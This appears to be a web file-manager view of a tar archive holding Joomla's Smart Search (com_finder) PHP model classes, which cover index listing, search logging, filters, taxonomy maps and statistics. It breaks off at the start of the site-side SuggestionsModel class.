File manager - Edit - /home/opticamezl/www/newok/Model.tar
Back
IndexModel.php 0000644 00000035500 15172630524 0007315 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; use Joomla\CMS\Plugin\PluginHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Index model class for Finder. * * @since 2.5 */ class IndexModel extends ListModel { /** * The event to trigger after deleting the data. * * @var string * @since 2.5 */ protected $event_after_delete = 'onContentAfterDelete'; /** * The event to trigger before deleting the data. * * @var string * @since 2.5 */ protected $event_before_delete = 'onContentBeforeDelete'; /** * The event to trigger after purging the data. * * @var string * @since 4.0.0 */ protected $event_after_purge = 'onFinderIndexAfterPurge'; /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @param ?MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.7 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'state', 'published', 'l.published', 'title', 'l.title', 'type', 'type_id', 'l.type_id', 't.title', 't_title', 'url', 'l.url', 'language', 'l.language', 'indexdate', 'l.indexdate', 'content_map', ]; } parent::__construct($config, $factory); } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission for the component. * * @since 2.5 */ protected function canDelete($record) { return $this->getCurrentUser()->authorise('core.delete', $this->option); } /** * Method to test whether a record can have its state changed. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission for the component. * * @since 2.5 */ protected function canEditState($record) { return $this->getCurrentUser()->authorise('core.edit.state', $this->option); } /** * Method to delete one or more records. * * @param array $pks An array of record primary keys. * * @return boolean True if successful, false if an error occurs. * * @since 2.5 */ public function delete(&$pks) { $pks = (array) $pks; $table = $this->getTable(); // Include the content plugins for the on delete events. PluginHelper::importPlugin('content'); // Iterate the items to delete each one. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if ($this->canDelete($table)) { $context = $this->option . '.' . $this->name; // Trigger the onContentBeforeDelete event. $result = Factory::getApplication()->triggerEvent($this->event_before_delete, [$context, $table]); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } if (!$table->delete($pk)) { $this->setError($table->getError()); return false; } // Trigger the onContentAfterDelete event. Factory::getApplication()->triggerEvent($this->event_after_delete, [$context, $table]); } else { // Prune items that you can't change. unset($pks[$i]); $error = $this->getError(); if ($error) { $this->setError($error); } else { $this->setError(Text::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); } } } else { $this->setError($table->getError()); return false; } } // Clear the component's cache $this->cleanCache(); return true; } /** * Build an SQL query to load the list data. * * @return \Joomla\Database\DatabaseQuery * * @since 2.5 */ protected function getListQuery() { $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('l.*') ->select($db->quoteName('t.title', 't_title')) ->from($db->quoteName('#__finder_links', 'l')) ->join('INNER', $db->quoteName('#__finder_types', 't') . ' ON ' . $db->quoteName('t.id') . ' = ' . $db->quoteName('l.type_id')); // Check the type filter. $type = $this->getState('filter.type'); // Join over the language $query->select('la.title AS language_title, la.image AS language_image') ->join('LEFT', $db->quoteName('#__languages') . ' AS la ON la.lang_code = l.language'); if (is_numeric($type)) { $query->where($db->quoteName('l.type_id') . ' = ' . (int) $type); } // Check the map filter. $contentMapId = $this->getState('filter.content_map'); if (is_numeric($contentMapId)) { $query->join('INNER', $db->quoteName('#__finder_taxonomy_map', 'm') . ' ON ' . $db->quoteName('m.link_id') . ' = ' . $db->quoteName('l.link_id')) ->where($db->quoteName('m.node_id') . ' = ' . (int) $contentMapId); } // Check for state filter. $state = $this->getState('filter.state'); if (is_numeric($state)) { $query->where($db->quoteName('l.published') . ' = ' . (int) $state); } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where($db->quoteName('l.language') . ' = ' . $db->quote($language)); } // Check the search phrase. $search = $this->getState('filter.search'); if (!empty($search)) { $search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%')); $orSearchSql = $db->quoteName('l.title') . ' LIKE ' . $search . ' OR ' . $db->quoteName('l.url') . ' LIKE ' . $search; // Filter by indexdate only if $search doesn't contains non-ascii characters if (!preg_match('/[^\x00-\x7F]/', $search)) { $orSearchSql .= ' OR ' . $query->castAsChar($db->quoteName('l.indexdate')) . ' LIKE ' . $search; } $query->where('(' . $orSearchSql . ')'); } // Handle the list ordering. $listOrder = $this->getState('list.ordering', 'l.title'); $listDir = $this->getState('list.direction', 'ASC'); if ($listOrder === 't.title') { $ordering = $db->quoteName('t.title') . ' ' . $db->escape($listDir) . ', ' . $db->quoteName('l.title') . ' ' . $db->escape($listDir); } else { $ordering = $db->escape($listOrder) . ' ' . $db->escape($listDir); } $query->order($ordering); return $query; } /** * Method to get the state of the Smart Search Plugins. * * @return array Array of relevant plugins and whether they are enabled or not. * * @since 2.5 */ public function getPluginState() { $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('name, enabled') ->from($db->quoteName('#__extensions')) ->where($db->quoteName('type') . ' = ' . $db->quote('plugin')) ->where($db->quoteName('folder') . ' IN (' . $db->quote('system') . ',' . $db->quote('content') . ')') ->where($db->quoteName('element') . ' = ' . $db->quote('finder')); $db->setQuery($query); return $db->loadObjectList('name'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.state'); $id .= ':' . $this->getState('filter.type'); $id .= ':' . $this->getState('filter.content_map'); return parent::getStoreId($id); } /** * Gets the total of indexed items. * * @return integer The total of indexed items. * * @since 3.6.0 */ public function getTotalIndexed() { $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('COUNT(link_id)') ->from($db->quoteName('#__finder_links')); $db->setQuery($query); return (int) $db->loadResult(); } /** * Returns a Table object, always creating it. * * @param string $type The table type to instantiate. [optional] * @param string $prefix A prefix for the table class name. [optional] * @param array $config Configuration array for model. [optional] * * @return \Joomla\CMS\Table\Table A database object * * @since 2.5 */ public function getTable($type = 'Link', $prefix = 'Administrator', $config = []) { return parent::getTable($type, $prefix, $config); } /** * Method to purge the index, deleting all links. * * @return boolean True on success, false on failure. * * @since 2.5 * @throws \Exception on database error */ public function purge() { $db = $this->getDatabase(); // Truncate the links table. $db->truncateTable('#__finder_links'); // Truncate the links terms tables. $db->truncateTable('#__finder_links_terms'); // Truncate the terms table. $db->truncateTable('#__finder_terms'); // Truncate the taxonomy map table. $db->truncateTable('#__finder_taxonomy_map'); // Truncate the taxonomy table and insert the root node. $db->truncateTable('#__finder_taxonomy'); $root = (object) [ 'id' => 1, 'parent_id' => 0, 'lft' => 0, 'rgt' => 1, 'level' => 0, 'path' => '', 'title' => 'ROOT', 'alias' => 'root', 'state' => 1, 'access' => 1, 'language' => '*', ]; $db->insertObject('#__finder_taxonomy', $root); // Truncate the tokens tables. $db->truncateTable('#__finder_tokens'); // Truncate the tokens aggregate table. $db->truncateTable('#__finder_tokens_aggregate'); // Include the finder plugins for the on purge events. PluginHelper::importPlugin('finder'); Factory::getApplication()->triggerEvent($this->event_after_purge); return true; } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = 'l.title', $direction = 'asc') { // Load the filter state. $this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string')); $this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'cmd')); $this->setState('filter.type', $this->getUserStateFromRequest($this->context . '.filter.type', 'filter_type', '', 'cmd')); $this->setState('filter.content_map', $this->getUserStateFromRequest($this->context . '.filter.content_map', 'filter_content_map', '', 'cmd')); $this->setState('filter.language', $this->getUserStateFromRequest($this->context . '.filter.language', 'filter_language', '')); // Load the parameters. $params = ComponentHelper::getParams('com_finder'); $this->setState('params', $params); // List state information. parent::populateState($ordering, $direction); } /** * Method to change the published state of one or more records. * * @param array $pks A list of the primary keys to change. * @param integer $value The value of the published state. [optional] * * @return boolean True on success. * * @since 2.5 */ public function publish(&$pks, $value = 1) { $user = $this->getCurrentUser(); $table = $this->getTable(); $pks = (array) $pks; // Include the content plugins for the change of state event. PluginHelper::importPlugin('content'); // Access checks. foreach ($pks as $i => $pk) { $table->reset(); if ($table->load($pk) && !$this->canEditState($table)) { // Prune items that you can't change. unset($pks[$i]); $this->setError(Text::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); return false; } } // Attempt to change the state of the records. if (!$table->publish($pks, $value, $user->get('id'))) { $this->setError($table->getError()); return false; } $context = $this->option . '.' . $this->name; // Trigger the onContentChangeState event. $result = Factory::getApplication()->triggerEvent('onContentChangeState', [$context, $pks, $value]); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Clear the component's cache $this->cleanCache(); return true; } } SearchesModel.php 0000644 00000011271 15172630524 0010002 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Methods supporting a list of search terms. * * @since 4.0.0 */ class SearchesModel extends ListModel { /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @param ?MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 4.0.0 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'searchterm', 'a.searchterm', 'hits', 'a.hits', ]; } parent::__construct($config, $factory); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 4.0.0 */ protected function populateState($ordering = 'a.hits', $direction = 'asc') { // Special state for toggle results button. $this->setState('show_results', $this->getUserStateFromRequest($this->context . '.show_results', 'show_results', 1, 'int')); // Load the parameters. $params = ComponentHelper::getParams('com_finder'); $this->setState('params', $params); // List state information. parent::populateState($ordering, $direction); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * * @since 4.0.0 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('show_results'); $id .= ':' . $this->getState('filter.search'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return \Joomla\Database\DatabaseQuery * * @since 4.0.0 */ protected function getListQuery() { // Create a new query object. $db = $this->getDatabase(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.*' ) ); $query->from($db->quoteName('#__finder_logging', 'a')); // Filter by search in title if ($search = $this->getState('filter.search')) { $search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%')); $query->where($db->quoteName('a.searchterm') . ' LIKE ' . $search); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.hits')) . ' ' . $db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Override the parent getItems to inject optional data. * * @return mixed An array of objects on success, false on failure. * * @since 4.0.0 */ public function getItems() { $items = parent::getItems(); foreach ($items as $item) { if (is_resource($item->query)) { $item->query = unserialize(stream_get_contents($item->query)); } else { $item->query = unserialize($item->query); } } return $items; } /** * Method to reset the search log table. * * @return boolean * * @since 4.0.0 */ public function reset() { $db = $this->getDatabase(); try { $db->truncateTable('#__finder_logging'); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } return true; } } FiltersModel.php 0000644 00000011140 15172630524 0007650 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Filters model class for Finder. * * @since 2.5 */ class FiltersModel extends ListModel { /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @param ?MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.7 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'filter_id', 'a.filter_id', 'title', 'a.title', 'state', 'a.state', 'created_by_alias', 'a.created_by_alias', 'created', 'a.created', 'map_count', 'a.map_count', ]; } parent::__construct($config, $factory); } /** * Build an SQL query to load the list data. * * @return \Joomla\Database\DatabaseQuery * * @since 2.5 */ protected function getListQuery() { $db = $this->getDatabase(); $query = $db->getQuery(true); // Select all fields from the table. $query->select('a.*') ->from($db->quoteName('#__finder_filters', 'a')); // Join over the users for the checked out user. $query->select($db->quoteName('uc.name', 'editor')) ->join('LEFT', $db->quoteName('#__users', 'uc') . ' ON ' . $db->quoteName('uc.id') . ' = ' . $db->quoteName('a.checked_out')); // Join over the users for the author. $query->select($db->quoteName('ua.name', 'user_name')) ->join('LEFT', $db->quoteName('#__users', 'ua') . ' ON ' . $db->quoteName('ua.id') . ' = ' . $db->quoteName('a.created_by')); // Check for a search filter. if ($search = $this->getState('filter.search')) { $search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%')); $query->where($db->quoteName('a.title') . ' LIKE ' . $search); } // If the model is set to check item state, add to the query. $state = $this->getState('filter.state'); if (is_numeric($state)) { $query->where($db->quoteName('a.state') . ' = ' . (int) $state); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.title') . ' ' . $db->escape($this->getState('list.direction', 'ASC')))); return $query; } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.state'); return parent::getStoreId($id); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = 'a.title', $direction = 'asc') { // Load the filter state. $this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string')); $this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'cmd')); // Load the parameters. $params = ComponentHelper::getParams('com_finder'); $this->setState('params', $params); // List state information. parent::populateState($ordering, $direction); } } IndexerModel.php 0000644 00000001054 15172630524 0007641 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\Model; use Joomla\CMS\MVC\Model\BaseDatabaseModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Indexer model class for Finder. * * @since 2.5 */ class IndexerModel extends BaseDatabaseModel { } MapsModel.php 0000644 00000031357 15172630524 0007154 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseQuery; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Maps model for the Finder package. * * @since 2.5 */ class MapsModel extends ListModel { /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @param ?MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.7 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'state', 'a.state', 'title', 'a.title', 'branch', 'branch_title', 'd.branch_title', 'level', 'd.level', 'language', 'a.language', ]; } parent::__construct($config, $factory); } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission for the component. * * @since 2.5 */ protected function canDelete($record) { return $this->getCurrentUser()->authorise('core.delete', $this->option); } /** * Method to test whether a record can have its state changed. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission for the component. * * @since 2.5 */ protected function canEditState($record) { return $this->getCurrentUser()->authorise('core.edit.state', $this->option); } /** * Method to delete one or more records. * * @param array $pks An array of record primary keys. * * @return boolean True if successful, false if an error occurs. * * @since 2.5 */ public function delete(&$pks) { $pks = (array) $pks; $table = $this->getTable(); // Include the content plugins for the on delete events. PluginHelper::importPlugin('content'); // Iterate the items to check if all of them exist. foreach ($pks as $i => $pk) { if (!$table->load($pk)) { // Item is not in the table. $this->setError($table->getError()); return false; } } // Iterate the items to delete each one. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if ($this->canDelete($table)) { $context = $this->option . '.' . $this->name; // Trigger the onContentBeforeDelete event. $result = Factory::getApplication()->triggerEvent('onContentBeforeDelete', [$context, $table]); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } if (!$table->delete($pk)) { $this->setError($table->getError()); return false; } // Trigger the onContentAfterDelete event. Factory::getApplication()->triggerEvent('onContentAfterDelete', [$context, $table]); } else { // Prune items that you can't change. unset($pks[$i]); $error = $this->getError(); if ($error) { $this->setError($error); } else { $this->setError(Text::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); } } } } // Clear the component's cache $this->cleanCache(); return true; } /** * Build an SQL query to load the list data. * * @return \Joomla\Database\DatabaseQuery * * @since 2.5 */ protected function getListQuery() { $db = $this->getDatabase(); // Select all fields from the table. $query = $db->getQuery(true) ->select('a.id, a.parent_id, a.lft, a.rgt, a.level, a.path, a.title, a.alias, a.state, a.access, a.language') ->from($db->quoteName('#__finder_taxonomy', 'a')) ->where('a.parent_id != 0'); // Join to get the branch title $query->select([$db->quoteName('b.id', 'branch_id'), $db->quoteName('b.title', 'branch_title')]) ->leftJoin($db->quoteName('#__finder_taxonomy', 'b') . ' ON b.level = 1 AND b.lft <= a.lft AND a.rgt <= b.rgt'); // Join to get the map links. $stateQuery = $db->getQuery(true) ->select('m.node_id') ->select('COUNT(NULLIF(l.published, 0)) AS count_published') ->select('COUNT(NULLIF(l.published, 1)) AS count_unpublished') ->from($db->quoteName('#__finder_taxonomy_map', 'm')) ->leftJoin($db->quoteName('#__finder_links', 'l') . ' ON l.link_id = m.link_id') ->group('m.node_id'); $query->select('COALESCE(s.count_published, 0) AS count_published'); $query->select('COALESCE(s.count_unpublished, 0) AS count_unpublished'); $query->leftJoin('(' . $stateQuery . ') AS s ON s.node_id = a.id'); // If the model is set to check item state, add to the query. $state = $this->getState('filter.state'); if (is_numeric($state)) { $query->where('a.state = ' . (int) $state); } // Filter over level. $level = $this->getState('filter.level'); if (is_numeric($level) && (int) $level === 1) { $query->where('a.parent_id = 1'); } // Filter the maps over the branch if set. $branchId = $this->getState('filter.branch'); if (is_numeric($branchId)) { $query->where('a.parent_id = ' . (int) $branchId); } // Filter the maps over the search string if set. if ($search = $this->getState('filter.search')) { $search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%')); $query->where('a.title LIKE ' . $search); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'branch_title, a.lft')) . ' ' . $db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Returns a record count for the query. * * @param \Joomla\Database\DatabaseQuery|string * * @return integer Number of rows for query. * * @since 3.0 */ protected function _getListCount($query) { $query = clone $query; $query->clear('select')->clear('join')->clear('order')->clear('limit')->clear('offset')->select('COUNT(*)'); return (int) $this->getDatabase()->setQuery($query)->loadResult(); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.state'); $id .= ':' . $this->getState('filter.branch'); $id .= ':' . $this->getState('filter.level'); return parent::getStoreId($id); } /** * Returns a Table object, always creating it. * * @param string $type The table type to instantiate. [optional] * @param string $prefix A prefix for the table class name. [optional] * @param array $config Configuration array for model. [optional] * * @return \Joomla\CMS\Table\Table A database object * * @since 2.5 */ public function getTable($type = 'Map', $prefix = 'Administrator', $config = []) { return parent::getTable($type, $prefix, $config); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = 'branch_title, a.lft', $direction = 'ASC') { // Load the filter state. $this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string')); $this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'cmd')); $this->setState('filter.branch', $this->getUserStateFromRequest($this->context . '.filter.branch', 'filter_branch', '', 'cmd')); $this->setState('filter.level', $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level', '', 'cmd')); // Load the parameters. $params = ComponentHelper::getParams('com_finder'); $this->setState('params', $params); // List state information. parent::populateState($ordering, $direction); } /** * Method to change the published state of one or more records. * * @param array $pks A list of the primary keys to change. * @param integer $value The value of the published state. [optional] * * @return boolean True on success. * * @since 2.5 */ public function publish(&$pks, $value = 1) { $user = $this->getCurrentUser(); $table = $this->getTable(); $pks = (array) $pks; // Include the content plugins for the change of state event. PluginHelper::importPlugin('content'); // Access checks. foreach ($pks as $i => $pk) { $table->reset(); if ($table->load($pk) && !$this->canEditState($table)) { // Prune items that you can't change. unset($pks[$i]); $this->setError(Text::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); return false; } } // Attempt to change the state of the records. if (!$table->publish($pks, $value, $user->get('id'))) { $this->setError($table->getError()); return false; } $context = $this->option . '.' . $this->name; // Trigger the onContentChangeState event. $result = Factory::getApplication()->triggerEvent('onContentChangeState', [$context, $pks, $value]); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Clear the component's cache $this->cleanCache(); return true; } /** * Method to purge all maps from the taxonomy. * * @return boolean Returns true on success, false on failure. * * @since 2.5 */ public function purge() { $db = $this->getDatabase(); $query = $db->getQuery(true) ->delete($db->quoteName('#__finder_taxonomy')) ->where($db->quoteName('parent_id') . ' > 1'); $db->setQuery($query); $db->execute(); $query->clear() ->delete($db->quoteName('#__finder_taxonomy_map')); $db->setQuery($query); $db->execute(); return true; } /** * Manipulate the query to be used to evaluate if this is an Empty State to provide specific conditions for this extension. * * @return DatabaseQuery * * @since 4.0.0 */ protected function getEmptyStateQuery() { $query = parent::getEmptyStateQuery(); $title = 'ROOT'; $query->where($this->getDatabase()->quoteName('title') . ' <> :title') ->bind(':title', $title); return $query; } } StatisticsModel.php 0000644 00000005177 15172630524 0010407 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\Model; use Joomla\CMS\Factory; use Joomla\CMS\MVC\Model\BaseDatabaseModel; use Joomla\CMS\Object\CMSObject; use Joomla\CMS\Plugin\PluginHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Statistics model class for Finder. * * @since 2.5 */ class StatisticsModel extends BaseDatabaseModel { /** * Method to get the component statistics * * @return CMSObject The component statistics * * @since 2.5 */ public function getData() { // Initialise $db = $this->getDatabase(); $query = $db->getQuery(true); $data = new CMSObject(); $query->select('COUNT(term_id)') ->from($db->quoteName('#__finder_terms')); $db->setQuery($query); $data->term_count = $db->loadResult(); $query->clear() ->select('COUNT(link_id)') ->from($db->quoteName('#__finder_links')); $db->setQuery($query); $data->link_count = $db->loadResult(); $query->clear() ->select('COUNT(id)') ->from($db->quoteName('#__finder_taxonomy')) ->where($db->quoteName('parent_id') . ' = 1'); $db->setQuery($query); $data->taxonomy_branch_count = $db->loadResult(); $query->clear() ->select('COUNT(id)') ->from($db->quoteName('#__finder_taxonomy')) ->where($db->quoteName('parent_id') . ' > 1'); $db->setQuery($query); $data->taxonomy_node_count = $db->loadResult(); $query->clear() ->select('t.title AS type_title, COUNT(a.link_id) AS link_count') ->from($db->quoteName('#__finder_links') . ' AS a') ->join('INNER', $db->quoteName('#__finder_types') . ' AS t ON t.id = a.type_id') ->group('a.type_id, t.title') ->order($db->quoteName('type_title') . ' ASC'); $db->setQuery($query); $data->type_list = $db->loadObjectList(); $lang = Factory::getLanguage(); $plugins = PluginHelper::getPlugin('finder'); foreach ($plugins as $plugin) { $lang->load('plg_finder_' . $plugin->name . '.sys', JPATH_ADMINISTRATOR) || $lang->load('plg_finder_' . $plugin->name . '.sys', JPATH_PLUGINS . '/finder/' . $plugin->name); } return $data; } } FilterModel.php 0000644 00000007402 15172630524 0007473 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\Model; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\MVC\Model\AdminModel; use Joomla\Component\Finder\Administrator\Table\FilterTable; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Filter model class for Finder. * * @since 2.5 */ class FilterModel extends AdminModel { /** * The prefix to use with controller messages. * * @var string * @since 2.5 */ protected $text_prefix = 'COM_FINDER'; /** * Model context string. * * @var string * @since 2.5 */ protected $context = 'com_finder.filter'; /** * Custom clean cache method. * * @param string $group The component name. [optional] * @param integer $clientId No longer used, will be removed without replacement * @deprecated 4.3 will be removed in 6.0 * * @return void * * @since 2.5 */ protected function cleanCache($group = 'com_finder', $clientId = 0) { parent::cleanCache($group); } /** * Method to get the filter data. * * @return FilterTable|boolean The filter data or false on a failure. * * @since 2.5 */ public function getFilter() { $filter_id = (int) $this->getState('filter.id'); // Get a FinderTableFilter instance. $filter = $this->getTable(); // Attempt to load the row. $return = $filter->load($filter_id); // Check for a database error. if ($return === false && $filter->getError()) { $this->setError($filter->getError()); return false; } // Process the filter data. if (!empty($filter->data)) { $filter->data = explode(',', $filter->data); } elseif (empty($filter->data)) { $filter->data = []; } return $filter; } /** * Method to get the record form. * * @param array $data Data for the form. [optional] * @param boolean $loadData True if the form is to load its own data (default case), false if not. [optional] * * @return Form|boolean A Form object on success, false on failure * * @since 2.5 */ public function getForm($data = [], $loadData = true) { // Get the form. $form = $this->loadForm('com_finder.filter', 'filter', ['control' => 'jform', 'load_data' => $loadData]); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 2.5 */ protected function loadFormData() { // Check the session for previously entered form data. $data = Factory::getApplication()->getUserState('com_finder.edit.filter.data', []); if (empty($data)) { $data = $this->getItem(); } $this->preprocessData('com_finder.filter', $data); return $data; } /** * Method to get the total indexed items * * @return integer The count of indexed items * * @since 3.5 */ public function getTotal() { $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('MAX(link_id)') ->from('#__finder_links'); return $db->setQuery($query)->loadResult(); } } SuggestionsModel.php 0000644 00000012632 15172657570 0010573 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Site\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\MVC\Model\ListModel; use Joomla\Component\Finder\Administrator\Indexer\Helper; use Joomla\Database\DatabaseQuery; use Joomla\String\StringHelper; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Suggestions model class for the Finder package. * * @since 2.5 */ class SuggestionsModel extends ListModel { /** * Context string for the model type. * * @var string * @since 2.5 */ protected $context = 'com_finder.suggestions'; /** * Method to get an array of data items. 